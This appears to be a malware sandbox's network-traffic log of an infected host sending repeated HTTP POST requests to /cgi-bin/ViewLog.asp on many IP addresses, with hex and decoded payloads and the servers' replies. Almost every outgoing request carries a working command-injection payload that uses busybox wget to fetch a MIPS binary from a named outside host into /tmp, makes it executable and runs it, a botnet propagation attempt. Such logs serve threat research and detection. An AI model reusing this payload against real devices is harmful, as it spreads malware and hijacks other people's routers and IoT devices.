Nov 23, 2023 05:18:17.045259953 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:17.606281996 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:18.694180965 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
782	192.168.2.13	58826	95.179.154.80	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:17.050112009 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:17.235927105 CET	680	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Thu, 23 Nov 2023 04:18:17 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
783	192.168.2.13	35924	85.209.19.217	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:17.168142080 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:17.353543997 CET	360	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 23 Nov 2023 04:18:17 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
784	192.168.2.13	44316	62.171.183.248	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:17.250495911 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
785	192.168.2.13	52616	94.123.181.72	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:17.271646023 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
786	192.168.2.13	51078	31.136.86.95	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:17.417597055 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:20.582145929 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
787	192.168.2.13	54862	85.194.34.121	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:17.428397894 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
788	192.168.2.13	54852	94.122.211.231	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:17.464185953 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
789	192.168.2.13	54556	62.29.83.117	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:17.464184046 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
790	192.168.2.13	53596	94.120.251.70	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:17.464202881 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
791	192.168.2.13	52454	106.53.18.21	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:17.539443016 CET	219	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 32 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:26Auth Result: Invalid user.

Session ID	Source IP	Source Port	Destination IP	Destination Port
792	192.168.2.13	55004	31.43.179.181	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:17.833301067 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
793	192.168.2.13	54958	85.194.34.121	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:17.838267088 CET	221	IN	HTTP/1.1 400 Bad Request Server: micro_httpd Cache-Control: no-cache Date: Thu, 23 Nov 2023 04:18:27 GMT Content-Type: text/html Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
794	192.168.2.13	42630	85.241.114.77	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:17.839757919 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
795	192.168.2.13	49124	62.29.122.6	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:17.853548050 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
796	192.168.2.13	39564	31.136.61.16	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:17.885845900 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:21.094166040 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
797	192.168.2.13	48970	94.121.157.25	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:18.057220936 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
798	192.168.2.13	33876	154.64.18.77	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:18.120176077 CET	207	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 38 3a 31 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:18:18Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
799	192.168.2.13	52508	106.53.18.21	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:18.212790966 CET	219	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 32 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:27Auth Result: Invalid user.

Session ID	Source IP	Source Port	Destination IP	Destination Port
800	192.168.2.13	49286	94.110.184.138	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:18.353562117 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
